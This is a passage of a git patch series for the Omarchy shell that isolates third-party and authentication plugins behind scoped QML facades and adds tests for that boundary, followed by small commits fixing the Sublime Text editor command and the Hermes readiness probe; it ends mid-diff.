_pluginFirstPartyServiceApis[existing] + next[proxyKey] = api + _pluginFirstPartyServiceApis = next + return api + } + + function createScopedPluginShell(manifest, cacheKey, allowOwnService, barCapabilities) { + if (_pluginShellApis[cacheKey]) return _pluginShellApis[cacheKey] + var key = String(manifest && manifest.id || "") + if (!key) return null + + // Construct the narrow service proxies before any plugin binding can call + // firstPartyServiceFor(). Creating a QObject while evaluating that binding + // makes QML re-enter the binding and report a loop on the caller's service + // property, even though the resulting proxy is otherwise acyclic. + var firstPartyServices = ({}) + if (barCapabilities) { + var serviceIds = ["omarchy.idle", "omarchy.media", "omarchy.nightlight", "omarchy.notifications"] + for (var i = 0; i < serviceIds.length; i++) { + var serviceId = serviceIds[i] + firstPartyServices[serviceId] = shell.pluginFirstPartyServiceFor(cacheKey, key, serviceId) + } + } + + var api = pluginShellApiComponent.createObject(null, { + pluginId: key, + appLibrary: shell.manifestHasKind(manifest, "menu") + ? shell.pluginAppLibraryFor(cacheKey, key) : null, + bar: shell.pluginBarStateFor(cacheKey, key), + barConfig: shell.publicBarConfig(), + _serviceLookup: function(requestedId) { + return allowOwnService ? shell.pluginServiceFor(key, requestedId) : null + }, + _firstPartyServiceLookup: function(requestedId) { + return barCapabilities ? (firstPartyServices[requestedId] || null) : null + }, + _pluginShellLookup: function(requestedId) { + return barCapabilities ? shell.scopedPluginShellForId(requestedId) : null + }, + _barEntryShellLookup: function(ownerId, moduleName) { + return barCapabilities + ? shell.pluginShellForBarEntry(cacheKey + ":" + ownerId, moduleName) : null + }, + _summon: function(requestedId, payloadJson) { + if (!shell.pluginOwnsTarget(key, requestedId) + && !shell.barPluginMayControl(manifest, requestedId)) return false + return shell.summon(shell.pluginRegistry.resolveEnabledId(requestedId), payloadJson) + }, + _hide: function(requestedId) { + if (!shell.pluginOwnsTarget(key, requestedId) + && !shell.barPluginMayControl(manifest, requestedId)) return false + return shell.hide(shell.pluginRegistry.resolveEnabledId(requestedId)) + }, + _toggle: function(requestedId, payloadJson) { + if (!shell.pluginOwnsTarget(key, requestedId) + && !shell.barPluginMayControl(manifest, requestedId)) return false + return shell.toggle(shell.pluginRegistry.resolveEnabledId(requestedId), payloadJson) + }, + _isOpen: function(requestedId) { + if (!shell.pluginOwnsTarget(key, requestedId) + && !shell.barPluginMayControl(manifest, requestedId)) return false + return shell.isPluginOpen(shell.pluginRegistry.resolveEnabledId(requestedId)) + }, + _updateSettings: function(requestedId, settings) { + if (shell.pluginOwnsTarget(key, requestedId)) return shell.updateEntryInline(key, settings) + if (barCapabilities && shell.barEntryConfigured(requestedId)) + return shell.updateEntryInline(requestedId, settings) + return false + }, + _mutateBarConfig: function(mutator) { + return barCapabilities ? shell.mutatePluginBarConfig(mutator) : false + } + }) + if (!api) return null + + var next = ({}) + for (var id in _pluginShellApis) next[id] = _pluginShellApis[id] + next[cacheKey] = api + _pluginShellApis = next + return api + } + + function scopedPluginShellForId(pluginId) { + var key = String(pluginId || "") + var manifest = shell.pluginRegistry.installedPlugins[key] + if (!manifest) return null + if (!manifest.__isFirstParty) return shell.pluginShellFor(manifest) + return shell.createScopedPluginShell(manifest, "hosted:" + key, false, false) + } + + function pluginShellForId(pluginId) { + return shell.scopedPluginShellForId(pluginId) + } + + function pluginShellForBarEntry(ownerId, moduleName) { + var owner = String(ownerId || "") + var target = String(moduleName || "") + if (!owner || !target) return null + var cacheKey = owner + "::" + target + if (_pluginBarEntryShellApis[cacheKey]) return _pluginBarEntryShellApis[cacheKey] + var api = pluginShellApiComponent.createObject(null, { + pluginId: target, + barConfig: shell.publicBarConfig(), + _updateSettings: function(requestedId, settings) { + return String(requestedId || "") === target + ? shell.updateEntryInline(target, settings) : false + } + }) + if (!api) return null + var next = ({}) + for (var id in _pluginBarEntryShellApis) next[id] = _pluginBarEntryShellApis[id] + next[cacheKey] = api + _pluginBarEntryShellApis = next + return api + } + + function pluginShellFor(manifest) { + if (!manifest || manifest.__isFirstParty) return shell + var key = String(manifest.id || "") + if (!key) return null + return shell.createScopedPluginShell(manifest, key, true, shell.pluginHasBarCapabilities(manifest)) + } + + function pluginRegistryFor(manifest) { + if (!manifest || manifest.__isFirstParty) return shell.pluginRegistry + var key = String(manifest.id || "") + if (!key) return null + if (_pluginRegistryApis[key]) return _pluginRegistryApis[key] + + var api = pluginRegistryApiComponent.createObject(null, { + pluginId: key, + manifest: shell.publicPluginManifest(manifest), + enabled: shell.pluginRegistry.isEnabled(key), + _entryPointUrl: function(kind) { + var current = shell.pluginRegistry.installedPlugins[key] + return current ? shell.pluginRegistry.entryPointUrl(current, kind) : "" + } + }) + if (!api) return null + + var next = ({}) + for (var id in _pluginRegistryApis) next[id] = _pluginRegistryApis[id] + next[key] = api + _pluginRegistryApis = next + return api + } + + function pluginBarWidgetRegistryFor(manifest) { + if (!manifest || manifest.__isFirstParty) return shell.barWidgetRegistry + var key = String(manifest.id || "") + if (!key) return null + if (_pluginBarWidgetRegistryApis[key]) return _pluginBarWidgetRegistryApis[key] + + var api = pluginBarWidgetRegistryApiComponent.createObject(null, { + widgets: shell.publicBarWidgetSnapshot(), + revision: shell.barWidgetRegistry.revision + }) + if (!api) return null + + var next = ({}) + for (var id in _pluginBarWidgetRegistryApis) next[id] = _pluginBarWidgetRegistryApis[id] + next[key] = api + _pluginBarWidgetRegistryApis = next + return api + } + + function pluginApiActive(api, plugins) { + var id = api ? String(api.pluginId || api.ownerPluginId || "") : "" + var manifest = id ? plugins[id] : null + return !!manifest && shell.pluginRegistry.isEnabled(id) + } + + function prunePluginApis() { + var plugins = shell.pluginRegistry.installedPlugins + var shellNext = ({}) + for (var shellKey in _pluginShellApis) { + var shellApi = _pluginShellApis[shellKey] + if (shell.pluginApiActive(shellApi, plugins)) shellNext[shellKey] = shellApi + else if (shellApi && typeof shellApi.destroy === "function") shellApi.destroy() + } + _pluginShellApis = shellNext + + var registryNext = ({}) + for (var registryKey in _pluginRegistryApis) { + var registryApi = _pluginRegistryApis[registryKey] + if (shell.pluginApiActive(registryApi, plugins)) registryNext[registryKey] = registryApi + else if (registryApi && typeof registryApi.destroy === "function") registryApi.destroy() + } + _pluginRegistryApis = registryNext + + var widgetNext = ({}) + for (var widgetKey in _pluginBarWidgetRegistryApis) { + var widgetApi = _pluginBarWidgetRegistryApis[widgetKey] + if (plugins[widgetKey] && shell.pluginRegistry.isEnabled(widgetKey)) widgetNext[widgetKey] = widgetApi + else if (widgetApi && typeof widgetApi.destroy === "function") widgetApi.destroy() + } + _pluginBarWidgetRegistryApis = widgetNext + + var appNext = ({}) + for (var appKey in _pluginAppLibraryApis) { + var appApi = _pluginAppLibraryApis[appKey] + if (shell.pluginApiActive(appApi, plugins)) appNext[appKey] = appApi + else if (appApi && typeof appApi.destroy === "function") appApi.destroy() + } + _pluginAppLibraryApis = appNext + + var barStateNext = ({}) + for (var barStateKey in _pluginBarStateApis) { + var barStateApi = _pluginBarStateApis[barStateKey] + if (shell.pluginApiActive(barStateApi, plugins)) barStateNext[barStateKey] = barStateApi + else if (barStateApi && typeof barStateApi.destroy === "function") barStateApi.destroy() + } + _pluginBarStateApis = barStateNext + + var serviceNext = ({}) + for (var serviceKey in _pluginFirstPartyServiceApis) { + var serviceApi = _pluginFirstPartyServiceApis[serviceKey] + if (shell.pluginApiActive(serviceApi, plugins)) serviceNext[serviceKey] = serviceApi + else if (serviceApi && typeof serviceApi.destroy === "function") serviceApi.destroy() + } + _pluginFirstPartyServiceApis = serviceNext + + var entryNext = ({}) + for (var entryKey in _pluginBarEntryShellApis) { + var entryApi = _pluginBarEntryShellApis[entryKey] + if (entryApi && shell.barEntryConfigured(entryApi.pluginId)) entryNext[entryKey] = entryApi + else if (entryApi && typeof entryApi.destroy === "function") entryApi.destroy() + } + _pluginBarEntryShellApis = entryNext + } + + function syncPluginApis() { + shell.prunePluginApis() + var plugins = shell.pluginRegistry.installedPlugins + for (var id in _pluginRegistryApis) { + var registryApi = _pluginRegistryApis[id] + var manifest = plugins[id] + registryApi.manifest = shell.publicPluginManifest(manifest) + registryApi.enabled = !!manifest && shell.pluginRegistry.isEnabled(id) + } + for (var widgetId in _pluginBarWidgetRegistryApis) { + var widgetApi = _pluginBarWidgetRegistryApis[widgetId] + widgetApi.widgets = shell.publicBarWidgetSnapshot() + widgetApi.revision = shell.barWidgetRegistry.revision + } + for (var shellKey in _pluginShellApis) + _pluginShellApis[shellKey].barConfig = shell.publicBarConfig() + for (var entryKey in _pluginBarEntryShellApis) + _pluginBarEntryShellApis[entryKey].barConfig = shell.publicBarConfig() + } function serviceFor(pluginId) { return _services[String(pluginId)] || null @@ -280,6 +736,11 @@ ShellRoot { return serviceFor(pluginId) } + function isAuthenticationService(manifest) { + return !!manifest && Array.isArray(manifest.__hostCapabilities) + && manifest.__hostCapabilities.indexOf("authentication") !== -1 + } + function ensureService(pluginId) { var key = String(pluginId) if (_services[key]) return _services[key] @@ -290,6 +751,8 @@ ShellRoot { if (!manifest.entryPoints || !manifest.entryPoints.service) return null var url = pluginRegistry.entryPointUrl(manifest, "service") if (!url) return null + var authenticationService = shell.isAuthenticationService(manifest) + if (authenticationService && AuthServiceStore.has(key)) return null var comp = Qt.createComponent(url, Component.PreferSynchronous) function finalize() { @@ -297,27 +760,37 @@ ShellRoot { console.warn("service plugin load failed for " + key + ": " + comp.errorString()) return } - var inst = comp.createObject(serviceHost) + // Authentication services and third-party services have no visual + // parent. Parenting either to serviceHost would let a plugin's object + // traversal walk between the host and credential-bearing QML. + var inst = comp.createObject(manifest.__isFirstParty && !authenticationService ? serviceHost : null) if (!inst) { console.warn("service plugin createObject returned null for", key) return } if ("omarchyPath" in inst) inst.omarchyPath = shell.omarchyPath - if ("shell" in inst) inst.shell = shell - if ("manifest" in inst) inst.manifest = manifest - if ("barWidgetRegistry" in inst) inst.barWidgetRegistry = shell.barWidgetRegistry - if ("pluginRegistry" in inst) inst.pluginRegistry = shell.pluginRegistry - var snext = ({}) - for (var sk in _services) snext[sk] = _services[sk] - snext[key] = inst - _services = snext + if ("shell" in inst) inst.shell = shell.pluginShellFor(manifest) + if ("manifest" in inst) inst.manifest = shell.publicPluginManifest(manifest) + if ("barWidgetRegistry" in inst) inst.barWidgetRegistry = shell.pluginBarWidgetRegistryFor(manifest) + if ("pluginRegistry" in inst) inst.pluginRegistry = shell.pluginRegistryFor(manifest) + if (authenticationService) { + // Never publish lock/polkit through ShellRoot._services. The private JS + // import retains their lifetime without adding a traversable property + // or QObject parent back to the host shell. + AuthServiceStore.put(key, inst) + } else { + var snext = ({}) + for (var sk in _services) snext[sk] = _services[sk] + snext[key] = inst + _services = snext + } } if (comp.status === Component.Loading) { comp.statusChanged.connect(finalize) return null } finalize() - return _services[key] || null + return authenticationService ? null : (_services[key] || null) } function _syncServices() { @@ -329,7 +802,7 @@ ShellRoot { if (!Array.isArray(m.kinds) || m.kinds.indexOf("service") === -1) continue if (!m.entryPoints || !m.entryPoints.service) continue if (!pluginRegistry.isEnabled(id)) continue - if (_services[id]) continue + if (_services[id] || (shell.isAuthenticationService(m) && AuthServiceStore.has(id))) continue ensureService(id) } // Drop services for plugins that have been disabled or removed. @@ -343,6 +816,16 @@ ShellRoot { for (var k in _services) if (k !== existingId) next[k] = _services[k] _services = next } + // Authentication services are retained outside the root object graph, so + // reconcile their disable/remove lifecycle separately from _services. + var authenticationIds = AuthServiceStore.ids() + for (var ai = 0; ai < authenticationIds.length; ai++) { + var authenticationId = authenticationIds[ai] + var authenticationManifest = plugins[authenticationId] + if (authenticationManifest && pluginRegistry.isEnabled(authenticationId) + && shell.isAuthenticationService(authenticationManifest)) continue + AuthServiceStore.destroy(authenticationId) + } } function unloadPluginServices() { @@ -351,11 +834,28 @@ ShellRoot { if (inst && typeof inst.destroy === "function") inst.destroy() } _services = ({}) + AuthServiceStore.destroyAll() } Connections { target: shell.pluginRegistry - function onPluginsChanged() { if (!shell.pluginReloading) shell._syncServices() } + function onPluginsChanged() { + shell.syncPluginApis() + if (!shell.pluginReloading) shell._syncServices() + } + } + + Connections { + target: shell.barWidgetRegistry + function onChanged() { shell.syncPluginApis() } + } + + Connections { + target: shell.appLibrary + function onAppsChanged() { + for (var id in shell._pluginAppLibraryApis) + shell._pluginAppLibraryApis[id].appsChanged() + } } // Writes inline settings to a bar layout entry or top-level plugin entry in @@ -627,10 +1127,10 @@ ShellRoot { onLoaded: { if (!item) return if ("omarchyPath" in item) item.omarchyPath = shell.omarchyPath - if ("shell" in item) item.shell = shell - if ("manifest" in item) item.manifest = panelEntry.manifest - if ("barWidgetRegistry" in item) item.barWidgetRegistry = shell.barWidgetRegistry - if ("pluginRegistry" in item) item.pluginRegistry = shell.pluginRegistry + if ("shell" in item) item.shell = shell.pluginShellFor(panelEntry.manifest) + if ("manifest" in item) item.manifest = shell.publicPluginManifest(panelEntry.manifest) + if ("barWidgetRegistry" in item) item.barWidgetRegistry = shell.pluginBarWidgetRegistryFor(panelEntry.manifest) + if ("pluginRegistry" in item) item.pluginRegistry = shell.pluginRegistryFor(panelEntry.manifest) // Plugins that pair a panel UI with a service entry read shared // state off `service`. Hand them the matching singleton if one was // loaded. @@ -696,7 +1196,8 @@ ShellRoot { schema: meta.schema || [], pluginId: manifest.id, sourceDir: manifest.__sourceDir || "", - source: "plugin" + source: "plugin", + firstParty: !!manifest.__isFirstParty } // A load already in flight for this URL registers itself when it diff --git a/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreOwner.qml b/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreOwner.qml new file mode 100644 index 00000000..e3c16364 --- /dev/null +++ b/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreOwner.qml @@ -0,0 +1,12 @@ +import QtQuick +import "services/AuthServiceStore.js" as AuthServiceStore + +QtObject { + function retain(id, service) { + AuthServiceStore.put(id, service) + } + + function has(id) { + return AuthServiceStore.has(id) + } +} diff --git a/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreReader.qml b/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreReader.qml new file mode 100644 index 00000000..a7527589 --- /dev/null +++ b/test/shell.d/fixtures/plugin-auth-boundary/AuthStoreReader.qml @@ -0,0 +1,8 @@ +import QtQuick +import "services/AuthServiceStore.js" as AuthServiceStore + +QtObject { + function has(id) { + return AuthServiceStore.has(id) + } +} diff --git a/test/shell.d/fixtures/plugin-auth-boundary/shell.qml b/test/shell.d/fixtures/plugin-auth-boundary/shell.qml new file mode 100644 index 00000000..926b6c8f --- /dev/null +++ b/test/shell.d/fixtures/plugin-auth-boundary/shell.qml @@ -0,0 +1,82 @@ +import QtQuick +import Quickshell +import Quickshell.Io +import "services" + +ShellRoot { + id: root + + property var calls: [] + property QtObject ownService: QtObject { property string marker: "own" } + + AuthStoreOwner { id: authStoreOwner } + AuthStoreReader { id: authStoreReader } + + Component { + id: apiComponent + PluginShellApi { } + } + + FileView { + id: resultFile + path: Quickshell.env("OMARCHY_QML_TEST_RESULT") + atomicWrites: true + } + + Component.onCompleted: { + var caller = "example.safe" + authStoreOwner.retain("omarchy.lock", root.ownService) + var api = apiComponent.createObject(null, { + pluginId: caller, + _serviceLookup: function(requestedId) { + return requestedId === caller ? root.ownService : null + }, + _summon: function(requestedId) { + if (requestedId !== caller) return false + root.calls = root.calls.concat(["summon"]) + return true + }, + _hide: function(requestedId) { + if (requestedId !== caller) return false + root.calls = root.calls.concat(["hide"]) + return true + }, + _toggle: function(requestedId) { + if (requestedId !== caller) return false + root.calls = root.calls.concat(["toggle"]) + return true + }, + _isOpen: function(requestedId) { return requestedId === caller }, + _updateSettings: function(requestedId) { + if (requestedId !== caller) return false + root.calls = root.calls.concat(["settings"]) + return true + } + }) + + var own = api.serviceFor(caller) + var result = { + detached: api.parent === undefined || api.parent === null, + ownService: own && own.marker === "own", + foreignService: api.serviceFor("omarchy.lock") === null, + firstPartyService: api.firstPartyServiceFor("omarchy.polkit") === null, + ownSummon: api.summon(caller, "{}") === true, + foreignSummon: api.summon("omarchy.lock", "{}") === false, + ownHide: api.hide(caller) === true, + foreignHide: api.hide("omarchy.lock") === false, + ownToggle: api.toggle(caller, "{}") === true, + foreignToggle: api.toggle("omarchy.lock", "{}") === false, + ownOpen: api.isPluginOpen(caller) === true, + foreignOpen: api.isPluginOpen("omarchy.lock") === false, + ownSettings: api.updateEntryInline(caller, {}) === true, + foreignSettings: api.updateEntryInline("omarchy.lock", {}) === false, + authStoreOwnerRetains: authStoreOwner.has("omarchy.lock") === true, + authStoreImportIsolated: authStoreReader.has("omarchy.lock") === false, + calls: root.calls + } + result.ok = Object.keys(result).every(function(key) { + return key === "ok" || key === "calls" || result[key] === true + }) && JSON.stringify(result.calls) === JSON.stringify(["summon", "hide", "toggle", "settings"]) + resultFile.setText(JSON.stringify(result)) + } +} diff --git a/test/shell.d/fixtures/plugin-registry/shell.qml b/test/shell.d/fixtures/plugin-registry/shell.qml index e10f73ed..49e6f437 100644 --- a/test/shell.d/fixtures/plugin-registry/shell.qml +++ b/test/shell.d/fixtures/plugin-registry/shell.qml @@ -83,6 +83,9 @@ ShellRoot { scan += block("firstparty", "/first/bar", manifest("omarchy.bar", ["bar"], { bar: "Bar.qml" })) scan += block("firstparty", "/first/panels/grouped", manifest("omarchy.grouped-panel", ["panel"], { panel: "Panel.qml" })) scan += block("firstparty", "/first/hybrid", manifest("omarchy.hybrid", ["menu", "bar-widget"], { menu: "Menu.qml", barWidget: "Widget.qml" })) + var futureAuth = manifest("omarchy.future-auth", ["service"], { service: "Service.qml" }) + futureAuth.omarchy = { capabilities: ["authentication"] } + scan += block("firstparty", "/first/future-auth", futureAuth) scan += block("thirdparty", "/third/panel", manifest("third.panel", ["panel"], { panel: "Panel.qml" })) scan += block("thirdparty", "/third/widget", manifest("third.widget", ["bar-widget"], { barWidget: "Widget.qml" }, { defaultSection: "left" })) scan += block("thirdparty", "/third/center-widget", manifest("third.center-widget", ["bar-widget"], { barWidget: "Widget.qml" })) @@ -103,6 +106,12 @@ ShellRoot { localBar.omarchy = { clonedFrom: "omarchy.bar" } scan += block("thirdparty", "/third/local-bar", localBar) scan += block("thirdparty", "/third/bar", manifest("third.bar", ["bar"], { bar: "Bar.qml" })) + var localFutureAuth = manifest("local.future-auth", ["service"], { service: "Service.qml" }) + localFutureAuth.omarchy = { clonedFrom: "omarchy.future-auth" } + scan += block("thirdparty", "/third/local-future-auth", localFutureAuth) + var spoofedAuth = manifest("third.spoofed-auth", ["service"], { service: "Service.qml" }) + spoofedAuth.omarchy = { capabilities: ["authentication"] } + scan += block("thirdparty", "/third/spoofed-auth", spoofedAuth) scan += block("thirdparty", "/third/shadow", manifest("omarchy.first-widget", ["panel"], { panel: "Panel.qml" })) scan += block("thirdparty", "/third/reserved", manifest("omarchy.reserved", ["panel"], { panel: "Panel.qml" })) scan += block("thirdparty", "/third/unsafe", manifest("third.unsafe", ["panel"], { panel: "../Panel.qml" })) @@ -116,22 +125,28 @@ ShellRoot { root.assertDeepEqual(pluginIds(), [ "local.bar", "local.first-widget", + "local.future-auth", "local.grouped-panel", "local.hybrid", "local.weather", "omarchy.bar", "omarchy.first-widget", + "omarchy.future-auth", "omarchy.grouped-panel", "omarchy.hybrid", "third.bar", "third.center-widget", "third.panel", "third.right-widget", + "third.spoofed-auth", "third.widget" ], "registry merges valid first-party and third-party manifests") root.assertTrue(registry.installedPlugins["omarchy.first-widget"].__isFirstParty === true, "first-party manifests are stamped") root.assertTrue(registry.installedPlugins["third.panel"].__isFirstParty === false, "third-party manifests are stamped") + root.assertDeepEqual(registry.installedPlugins["omarchy.future-auth"].__hostCapabilities, ["authentication"], "trusted manifests stamp authentication capability") + root.assertDeepEqual(registry.installedPlugins["local.future-auth"].__hostCapabilities, ["authentication"], "clones inherit trusted host capabilities") + root.assertDeepEqual(registry.installedPlugins["third.spoofed-auth"].__hostCapabilities, [], "third-party manifests cannot self-grant host capabilities") root.assertEqual(registry.installedPlugins["omarchy.grouped-panel"].__sourceDir, "/first/panels/grouped", "grouped plugin source paths are preserved") root.assertEqual(registry.entryPointUrl(registry.installedPlugins["third.panel"], "panel"), "file:///third/panel/Panel.qml", "entryPointUrl resolves plugin-relative paths") root.assertEqual(registry.entryPointUrl(registry.installedPlugins["third.widget"], "barWidget"), "file:///third/widget/Widget.qml", "entryPointUrl resolves bar widget paths") diff --git a/test/shell.d/plugin-auth-boundary-test.sh b/test/shell.d/plugin-auth-boundary-test.sh new file mode 100755 index 00000000..ade609d4 --- /dev/null +++ b/test/shell.d/plugin-auth-boundary-test.sh @@ -0,0 +1,125 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +TMPDIR="" +QS_PID="" + +cleanup() { + if [[ -n $QS_PID ]] && kill -0 "$QS_PID" 2>/dev/null; then + kill "$QS_PID" 2>/dev/null || true + wait "$QS_PID" 2>/dev/null || true + fi + if [[ -n $TMPDIR && -d $TMPDIR ]]; then + rm -rf "$TMPDIR" + fi +} +trap cleanup EXIT + +shell_qml="$ROOT/shell/shell.qml" +bar_qml="$ROOT/shell/plugins/bar/Bar.qml" + +# Normalize horizontal and vertical whitespace so the wiring assertions survive +# harmless QML reflow. The runtime fixture below behaviorally covers +# PluginShellApi and AuthServiceStore; these checks remain the guard for their +# integration through shell.qml and Bar.qml, including without a compositor. +qml_matches() { + local file=$1 + local pattern=$2 + + tr '\n\r\t' ' ' < "$file" | grep -Eq "$pattern" +} + +qml_matches "$shell_qml" 'comp\.createObject\( *manifest\.__isFirstParty *&& *!authenticationService *\? *serviceHost *: *null *\)' || + fail "third-party and authentication services are detached from the host object tree" +qml_matches "$shell_qml" 'AuthServiceStore\.put\( *key, *inst *\)' || + fail "authentication services are retained outside the host service map" +pass "third-party and authentication services are detached from the host object tree" + +qml_matches "$shell_qml" 'inst\.shell *= *shell\.pluginShellFor\( *manifest *\)' || + fail "service plugins receive a scoped shell facade" +qml_matches "$shell_qml" 'item\.shell *= *shell\.pluginShellFor\( *panelEntry\.manifest *\)' || + fail "panel plugins receive a scoped shell facade" +qml_matches "$shell_qml" 'target\.shell *= *shell\.pluginShellFor\( *manifest *\)' || + fail "full-bar plugins receive a scoped shell facade" +pass "third-party entry points receive scoped shell facades" + +qml_matches "$bar_qml" 'target\.bar *= *firstParty *\? *root *: *root\.pluginBarApiFor\( *pluginApiId, *moduleName, *registered *\)' || + fail "third-party widgets receive a bar facade instead of the host bar" +qml_matches "$bar_qml" 'api\.clickTargets *= *root\.pluginClickTargets\( *api\.pluginId *\)' || + fail "third-party bar facades exclude other widgets from their object graph" +pass "third-party widgets receive a bar facade instead of the host bar" + +qml_matches "$shell_qml" 'widgets: *shell\.publicBarWidgetSnapshot\( *\)' || + fail "third-party widget registries receive detached snapshots" +qml_matches "$bar_qml" 'root\.markPluginObject\( *pluginId, *target, *"clickTarget" *\)' || + fail "third-party bar-object ownership is stamped by the host callback" +qml_matches "$bar_qml" 'root\.markPluginObject\( *pluginId, *owner, *"popout" *\)' || + fail "owner-less popouts receive trusted ownership before activation" +qml_matches "$shell_qml" 'manifest\.__hostCapabilities\.indexOf\( *"authentication" *\)' || + fail "authentication isolation follows host-stamped capabilities" +pass "registry mutation and ownership boundaries are host-controlled" + +qml_matches "$bar_qml" 'root\.moduleWidgets\( *moduleName *\)' || + fail "custom bar module widget lookups use their real module name" +qml_matches "$shell_qml" 'shell\.pluginShellForBarEntry\( *cacheKey *\+ *":" *\+ *ownerId, *moduleName *\)' || + fail "full-bar plugins receive a scoped settings facade for custom modules" +pass "custom bar modules retain settings and popout identity" + +if qml_matches "$bar_qml" 'on(Foreground|BarForeground|Background|Urgent|FontFamily|Vertical|BarSize|Transparent)Changed: *sync'; then + fail "animated scalar properties still trigger full facade resyncs" +fi +qml_matches "$bar_qml" 'api\.foreground *= *Qt\.binding\( *function\( *\) *\{ *return root\.foreground *\} *\)' || + fail "third-party bar scalar mirrors use bindings" +qml_matches "$shell_qml" 'shell\.prunePluginApis\( *\)' || + fail "disabled plugin facade caches are pruned" +pass "plugin facade synchronization is bounded" + +require_compositor "plugin authentication boundary runtime test" + +if ! command -v quickshell >/dev/null 2>&1; then + pass "quickshell not installed; skipping plugin authentication boundary runtime test" + exit 0 +fi + +require_command jq + +TMPDIR=$(mktemp -d) +result="$TMPDIR/result.json" +log="$TMPDIR/quickshell.log" +config_dir="$TMPDIR/plugin-auth-boundary" +mkdir -p "$config_dir" "$TMPDIR/home" +cp "$SHELL_TEST_DIR/fixtures/plugin-auth-boundary/"*.qml "$config_dir/" +ln -s "$ROOT/shell/services" "$config_dir/services" + +OMARCHY_QML_TEST_RESULT="$result" \ +HOME="$TMPDIR/home" \ +XDG_CONFIG_HOME="$TMPDIR/home/.config" \ +XDG_CACHE_HOME="$TMPDIR/home/.cache" \ +XDG_STATE_HOME="$TMPDIR/home/.local/state" \ + quickshell -p "$config_dir" --no-color >"$log" 2>&1 & +QS_PID=$! + +for _ in {1..80}; do + [[ -s $result ]] && break + if ! kill -0 "$QS_PID" 2>/dev/null; then + sed -n '1,220p' "$log" >&2 + fail "plugin authentication boundary fixture exited before writing result" + fi + sleep 0.1 +done + +[[ -s $result ]] || { + sed -n '1,220p' "$log" >&2 + fail "plugin authentication boundary runtime test timed out" +} + +if ! jq -e '.ok == true' "$result" >/dev/null; then + jq . "$result" >&2 + sed -n '1,220p' "$log" >&2 + fail "plugin authentication boundary runtime behavior" +fi + +pass "plugin authentication boundary runtime behavior" From 8c303495acdc7db220219c373b67f0aab20d7f98 Mon Sep 17 00:00:00 2001 From: Taksh Date: Tue, 1 Sep 2026 23:55:53 +0530 Subject: [PATCH 185/336] fix: use subl for the Sublime Text default editor Signed-off-by: Taksh --- bin/omarchy-default-editor | 2 +- bin/omarchy-launch-editor | 3 +++ default/omarchy/omarchy-menu.jsonc | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-default-editor b/bin/omarchy-default-editor index 25134081..1e82e172 100755 --- a/bin/omarchy-default-editor +++ b/bin/omarchy-default-editor @@ -25,7 +25,7 @@ case "$1" in code) selection="code"; editor="code"; name="VSCode"; glyph= ;; cursor) selection="cursor"; editor="cursor"; name="Cursor"; glyph= ;; zed | zeditor) selection="zed"; editor="zeditor"; name="Zed"; glyph= ;; -sublime_text) selection="sublime_text"; editor="sublime_text"; name="Sublime Text"; glyph= ;; +sublime_text | subl) selection="sublime_text"; editor="subl"; name="Sublime Text"; glyph= ;; helix) selection="helix"; editor="helix"; name="Helix"; glyph= ;; vim) selection="vim"; editor="vim"; name="Vim"; glyph= ;; emacs) selection="emacs"; editor="emacs"; name="Emacs"; glyph= ;; diff --git a/bin/omarchy-launch-editor b/bin/omarchy-launch-editor index 8a69dabd..52999719 100755 --- a/bin/omarchy-launch-editor +++ b/bin/omarchy-launch-editor @@ -18,6 +18,9 @@ else editor="nvim" fi +# sublime-text-4 ships `subl` on PATH, not `sublime_text`. +[[ $editor == sublime_text ]] && editor=subl + omarchy-cmd-present "$editor" || editor="nvim" case "${editor##*/}" in diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index 30ee45fc..ef1a53ce 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -164,7 +164,7 @@ "setup.default.editor.vscode": {"icon":"","label":"VSCode","checked":"[[ \"$(omarchy-default-editor)\" == \"code\" ]]","action":"omarchy-default-editor code"}, "setup.default.editor.cursor": {"icon":"","label":"Cursor","checked":"[[ \"$(omarchy-default-editor)\" == \"cursor\" ]]","action":"omarchy-default-editor cursor"}, "setup.default.editor.zed": {"icon":"","label":"Zed","checked":"[[ \"$(omarchy-default-editor)\" == \"zeditor\" ]]","action":"omarchy-default-editor zed"}, - "setup.default.editor.sublime": {"icon":"","label":"Sublime Text","checked":"[[ \"$(omarchy-default-editor)\" == \"sublime_text\" ]]","action":"omarchy-default-editor sublime_text"}, + "setup.default.editor.sublime": {"icon":"","label":"Sublime Text","when":"omarchy-cmd-present subl","checked":"[[ \"$(omarchy-default-editor)\" == \"subl\" ]]","action":"omarchy-default-editor sublime_text"}, "setup.default.editor.helix": {"icon":"","label":"Helix","checked":"[[ \"$(omarchy-default-editor)\" == \"helix\" ]]","action":"omarchy-default-editor helix"}, "setup.default.editor.vim": {"icon":"","label":"Vim","checked":"[[ \"$(omarchy-default-editor)\" == \"vim\" ]]","action":"omarchy-default-editor vim"}, "setup.default.editor.emacs": {"icon":"","label":"Emacs","checked":"[[ \"$(omarchy-default-editor)\" == \"emacs\" ]]","action":"omarchy-default-editor emacs"}, From f08840d6cc98b81b78290d8e6ff61567b4b21079 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Tue, 1 Sep 2026 14:25:37 -0500 Subject: [PATCH 186/336] Probe Hermes readiness by the flags omarchy-agent passes Hermes v0.20 removed chat's --oneshot flag, which hermes_prompt_ready used as its capability marker. A fully bootstrapped Hermes Desktop install then read as not ready: --check failed forever, the default agent flow looped back into the installer, and --now dead-ended with "Launch Hermes Desktop once to finish installing it" on a machine where it already had. Probe for --tui and --query instead: the flags omarchy-agent actually passes to seed an interactive session, rather than one that merely shipped alongside them. --- bin/omarchy-install-hermes-cli | 9 ++++++--- test/shell.d/hermes-cli-test.sh | 18 ++++++++++++++++-- 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 5b6a3598..150364c0 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -88,13 +88,16 @@ hermes_runs() { timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } -# The chat subcommand's 